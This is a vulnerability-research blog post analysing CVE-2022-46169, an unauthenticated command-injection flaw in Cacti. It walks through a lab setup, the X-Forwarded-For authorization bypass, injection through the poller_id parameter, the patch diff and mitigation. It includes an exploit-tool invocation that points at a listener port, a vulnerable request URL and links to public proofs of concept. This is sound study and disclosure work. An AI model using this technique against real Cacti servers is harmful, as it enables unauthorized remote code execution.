Unauthenticated RCE in Cacti — CVE-2022–46169

vsociety
13 min readJun 23, 2023

--

Introduction

Unauthenticated RCE in Cacti has been found and registered as CVE-2022–46169.

Version affected < 1.2.22

Cacti Unauthenticated RCE is one of the trendy CVEs last month.

Based on Greynoise (Check it here) there are three unique IPs attempted to exploit this vulnerability.

Based on Shodan’s search (check it here) Cacti is running on 4,433 servers.

What are Cacti?

Cacti is an open-source, web-based network monitoring and graphing tool designed as a front-end application for the open-source, industry-standard data logging tool RRDtool. Cacti allow a user to poll services at predetermined intervals and graph the resulting data.

Build the lab

Install the system and prerequisites

  • Setup Ubuntu (I’m using Ubuntu server 20.04)
  • Update the server
    sudo apt update
  • Install Apache & PHP
    sudo apt install -y apache2 php-mysql libapache2-mod-php
  • Install PHP Extensions
    sudo apt install -y php-xml php-ldap php-mbstring php-gd php-gmp
  • Install MariaDB
    sudo apt install -y mariadb-server mariadb-client
  • Install SNMP
    sudo apt install -y snmp php-snmp rrdtool librrds-perl
  • Configure Database
sudo vim /etc/mysql/mariadb.conf.d/50-server.cnf

Add the following at the end of the file:

collation-server = utf8mb4_unicode_ci
max_heap_table_size = 128M
tmp_table_size = 64M
join_buffer_size = 64M
innodb_file_format = Barracuda
innodb_large_prefix = 1
innodb_buffer_pool_size = 512M
innodb_buffer_pool_instances = 10
innodb_flush_log_at_timeout = 3
innodb_read_io_threads = 32
innodb_write_io_threads = 16
innodb_io_capacity = 5000
innodb_io_capacity_max = 10000
sudo systemctl restart mariadb
  • PHP Configuration
sudo vim /etc/php/7.4/apache2/php.ini
date.timezone = US/Central
memory_limit = 512M
max_execution_time = 60
sudo vim /etc/php/7.4/cli/php.ini
date.timezone = US/Central
memory_limit = 512M
max_execution_time = 60
  • Create Database
sudo mysql -u root -p
create database cacti;
GRANT ALL ON cacti.* TO cacti@localhost IDENTIFIED BY 'cacti';
flush privileges;
exit
sudo mysql -u root -p mysql < /usr/share/mysql/mysql_test_data_timezone.sql
sudo mysql -u root -p
GRANT SELECT ON mysql.time_zone_name TO cacti@localhost;
flush privileges;
exit

Install Cacti

  • Download Cacti
wget https://files.cacti.net/cacti/linux/cacti-1.2.22.zip
unzip cacti-1.2.22.zip
sudo mkdir /opt/cacti
sudo mv cacti-1.2.22/* /opt/cacti
  • Configure Database
sudo mysql -u root -p cacti < /opt/cacti/cacti.sql
sudo vim /opt/cacti/include/config.php
# make sure these values reflect your actual database/host/user/password
$database_type = "mysql";
$database_default = "cacti";
$database_hostname = "localhost";
$database_username = "cacti";
$database_password = "cacti";
$database_port = "3306";
$database_ssl = false;
  • Create a crontab file to schedule the polling job.
sudo vim /etc/cron.d/cacti
# Add the following scheduler entry in the crontab so that Cacti can poll every five minutes
*/5 * * * * www-data php /opt/cacti/poller.php > /dev/null 2>&1
  • Create a new site for the Cacti tool
sudo vim /etc/apache2/sites-available/cacti.conf

Use the following configuration

Alias /cacti /opt/cacti
  <Directory /opt/cacti>
Options +FollowSymLinks
AllowOverride None
<IfVersion >= 2.3>
Require all granted
</IfVersion>
<IfVersion < 2.3>
Order Allow,Deny
Allow from all
</IfVersion>
AddType application/x-httpd-php .php<IfModule mod_php.c>
php_flag magic_quotes_gpc Off
php_flag short_open_tag On
php_flag register_globals Off
php_flag register_argc_argv On
php_flag track_vars On
# this setting is necessary for some locales
php_value mbstring.func_overload 0
php_value include_path .
</IfModule>
DirectoryIndex index.php
</Directory>

Enable the created site

sudo a2ensite cacti

Restart Apache services.

sudo systemctl restart apache2

Create a log file for Cacti and allow the Apache user (www-data) to write data into the Cacti directory.

sudo touch /opt/cacti/log/cacti.log
sudo chown -R www-data:www-data /opt/cacti/
  • Visit the below URL to begin the installation of Cacti

http://ip/cacti

Username: admin
Password: admin

After you log in it will ask you to change the password.

If everything is correctly configured in the past steps, it should be easy from here and just ‘next, next …etc’

Add devices and real data

in order to achieve the unauthenticated RCE you need to have real data and devices in cacti.

After we added the devices now we can proceed to test the Unauthenticated RCE.

Dynamic Analysis

The vulnerable endpoint is remote_agent.php , try to browse it

we get this error back, and it’s important since we will use it later in the code review.

There are specific parameters that are passed after the endpoint:

  • action=polldata
  • host_id=3
  • local_data_ids[]=6
  • poller_id=1

Full link:

http://192.168.1.101/cacti/remote_agent.php?action=polldata&host_id=3&local_data_ids[]=6&poller_id=1

Basically, the poller_id parameter it’s the vulnerable parameter for command injection, however you can’t execute the command unless you guess the right numbers for host_id and local_data_ids parameters, and we will know why in the static analysis.

To produce this vulnerability I used this tool:

https://github.com/N1arut/CVE-2022-46169_POC

Before I start the tool, I enabled the proxy so I can intercept the traffic.

python cacti_exploit.py http://192.168.1.124/cacti/ 192.168.1.126 9001

now we can see the requests in Burpsuite

Now, we know what the request would look like.

Static Analysis

Let’s do some code review and see where is the vulnerability and why it’s happening.

Authorization Bypass

remote_agent.php

  • Find the remote_agent.php file which is the vulnerable endpoint file.
  • The first information we got from our dynamic analysis is the error message “FATAL: You are not authorized to use this service
    Search for it in the remote_agent.php file

remote_client_authorized()

  • Search for ‘remote_client_authorized()’ function

The function determines if a remote client is authorized to access a resource.

  1. The line global $poller_db_cnn_id; brings the variable $poller_db_cnn_id into the function's scope.
  2. The line $client_addr = get_client_addr(); calls a function get_client_addr which retrieves the IP address of the remote client.
  3. The line if ($client_addr === false) { return false; } checks if the IP address is valid. If the IP address is not valid, the function returns false and the remote client is not authorized.
  4. The line if (!filter_var($client_addr, FILTER_VALIDATE_IP)) {...} uses the filter_var function to validate the IP address. If the IP address is not valid, a log message is written to indicate an error and the function returns false.
  5. The line $client_name = gethostbyaddr($client_addr); uses the gethostbyaddr function to retrieve the hostname associated with the IP address.
  6. The line if ($client_name == $client_addr) {...} checks if the hostname was successfully resolved. If it was not, a log message is written to indicate a failure to resolve the hostname and the function continues.
  7. The line $client_name = remote_agent_strip_domain($client_name); calls a function remote_agent_strip_domain on the hostname to strip the domain portion from it.
  8. The line $pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id); retrieves the list of pollers from a database using the db_fetch_assoc function. The $poller_db_cnn_id variable is passed as the third argument to this function to specify the database connection to use.
  9. The line if (cacti_sizeof($pollers)) {...} checks if the list of pollers is not empty. If it is not empty, the function continues.
  10. The code block foreach($pollers as $poller) {...} iterates through the list of pollers.
  11. The line if (remote_agent_strip_domain($poller['hostname']) == $client_name) {...} calls the remote_agent_strip_domain function on the hostname of each poller and compares the result with the client name obtained in step 7. If they match, the remote client is authorized and the function returns true.
  12. The line elseif ($poller['hostname'] == $client_addr) {...} compares the hostname of each poller with the client address obtained in step 2. If they match, the remote client is authorized and the function returns true.
  13. If none of the conditions in steps 11 and 12 are met, a log message is written indicating an unauthorized remote agent access attempt, and the function returns false, indicating that the remote client is not authorized.

Here I started to study each function involved in the remote_client_authorized() function.

The most interesting part is step 11 and 12 since they indicate in order to be authorized the $client_name variable or $client_addr variable have to match $poller[‘hostname’]

functions.php

Search for ‘get_client_addr’ in all files and it will be found in functions.php file.

  1. function get_client_addr($client_addr = false): Defines a function named get_client_addr that takes an optional argument $client_addr, which is set to false by default.
  2. $http_addr_headers = array( ... ): Declares an array $http_addr_headers that lists the names of headers that may contain the client's IP address.
  3. $client_addr = false;: Sets the initial value of $client_addr to false.
  4. foreach ($http_addr_headers as $header): Iterates over the headers in the $http_addr_headers array.
  5. if (!empty($_SERVER[$header])): Checks if the current header has a non-empty value in the $_SERVER array.
  6. $header_ips = explode(',', $_SERVER[$header]);: If the header has a non-empty value, it splits the value into an array of IP addresses using explode, with the separator being a comma.
  7. foreach ($header_ips as $header_ip): Iterates over the resulting array of IP addresses.
  8. if (!empty($header_ip)): Checks if the current IP address is not empty.
  9. if (!filter_var($header_ip, FILTER_VALIDATE_IP)): If the IP address is not empty, it checks if it is a valid IP address using filter_var with the FILTER_VALIDATE_IP filter.
  10. cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);: If the IP address is not valid, it logs an error message to a log file using the cacti_log function.
  11. $client_addr = $header_ip;: If the IP address is valid, it sets $client_addr to that IP address.
  12. cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);: Logs a debug message to a log file using the cacti_log function, indicating that the IP address was found and is being used.
  13. break 2;: Exits both the inner and outer loops.
  14. return $client_addr;: Returns the value of $client_addr.

Since we understand the get_client_addr function, we know that the function takes the IP from the headers in the array $http_addr_headers.

We can control some headers such as X-Forwarded-For header therefore even if our IP address is not one of the allowed addresses we can add the IP address of the target server or 127.0.0.1 localhost IP address, and this will bypass the authorization.

Command injection

Since the injection takes place in the “poller_id” parameter, we can locate it in the “remote_agent.php” endpoint and comprehend how its value is being passed.

There is poll_for_data() function and inside it, we can see:

but we need to understand how the poller_id is being passed and how the poll_for_data() function is being triggered, so I started to search for the “action” parameter.

This code uses a switch statement to handle a request based on the value of the "action" parameter. The "action" parameter is obtained using get_request_var function.

There is 'polldata case in the switch statement. If the value of the "action" parameter is equal to 'polldata', the code inside the case statement will be executed.

The code sets the maximum execution time for the script using the ini_set function and the value of read_config_option('script_timeout'). This ensures that the script doesn't run indefinitely.

The debug function is called with the argument 'Start: Poling Data for Realtime' to indicate the start of polling data. Then, the poll_for_data function is called. After that, the debug function is called again with the argument 'End: Poling Data for Realtime' to indicate the end of the polling process.

Finally, the break statement ends the switch statement.

The issue here is that the “polldata” value and if this value is not properly filtered or validated.

With that being said, we understand how the poll_for_data function is triggered.

proc_open() executes a command, much like exec() does, but with the added ability to direct input and output streams through pipes.

Given that we have control over the $poller_id variable, an attacker can inject malicious code and there are no proper validation or security checks in place.

Also we mentioned earlier in the Dynamic Analysis that we can’t execute the command unless you guess the right numbers for host_id and local_data_ids parameters.

POLLER_ACTION_SCRIPT_PHP is to execute some action, such as gathering data from a network device or updating a database which are related to poller actions.

I was unable to locate the code that specifically explains the need for the parameters to be correct, but after examining the code and multiple files, it appears that POLLER_ACTION_SCRIPT_PHP serves as an alias for defining the action of poller_item. Therefore, it is necessary to set all the parameters correctly, which can easily be brute forced.

Patch Diffing

First, download the latest version of cacti from here:

https://www.cacti.net/info/downloads

With this online tool, I can compare two texts and see what’s different.

https://www.diffchecker.com/text-compare/

You can check the diffing between cacti 1.2.22 version and cacti 1.2.23 version from here:

https://www.diffchecker.com/DR7kCix4/

There are four differences here:

1- The error message has been removed.

2- get_nfilter_request_var function changed to get_filter_request_var function, both functions are custom functions existed in html_utility.php file.

3- Same as in the second change

4- cacti_escapeshellarg function suppose to operate in a very similar way to escapeshellarg()

escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. This function should be used to escape individual arguments to shell functions coming from user input.

function cacti_escapeshellarg($string, $quote = true) {
global $config;
 if ($string == '') {
return $string;
}
/* we must use an apostrophe to escape community names under Unix in case the user uses
characters that the shell might interpret. the ucd-snmp binaries on Windows flip out when
you do this, but are perfectly happy with a quotation mark. */
if ($config['cacti_server_os'] == 'unix') {
$string = escapeshellarg($string);
if ($quote) {
return $string;
} else {
# remove first and last char
return substr($string, 1, (strlen($string)-2));
}
} else {
/* escapeshellarg takes care of different quotation for both linux and windows,
* but unfortunately, it blanks out percent signs
* we want to keep them, e.g. for GPRINT format strings
* so we need to create our own escapeshellarg
* on windows, command injection requires to close any open quotation first
* so we have to escape any quotation here */
if (substr_count($string, CACTI_ESCAPE_CHARACTER)) {
$string = str_replace(CACTI_ESCAPE_CHARACTER, "\\" . CACTI_ESCAPE_CHARACTER, $string);
}
/* ... before we add our own quotation */
if ($quote) {
return CACTI_ESCAPE_CHARACTER . $string . CACTI_ESCAPE_CHARACTER;
} else {
return $string;
}
}
}

Mitigation

The companies can use the last version of cacti 1.2.23.

Last thoughts

This is a very interesting vulnerability since two vulnerabilities are chained together to achieve Pre-auth command injection or Pre-auth RCE.

I think a lot of research can be conducted on this software and since it’s open source, and it also interacts with the network and multiple devices this makes it even more interesting.

Resources

#CVE-2022–46169 #cacti #RCE

Comments (1)

Submit

NP

Nilson Primo4 months ago

Mitigation
The companies can use the last version of cacti 1.2.23.

Last thoughts
This is a very interesting vulnerability since two vulnerabilities are chained together to achieve Pre-auth command injection or Pre-auth RCE.

I think a lot of research can be conducted on this software and since it’s open source, and it also interacts with the network and multiple devices this makes it even more interesting.

Resources
https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf

https://github.com/N1arut/CVE-2022-46169_POC

https://github.com/sAsPeCt488/CVE-2022-46169

#CVE-2022–46169 #cacti #RCE

--

--

vsociety

vsociety is a community centered around vulnerability research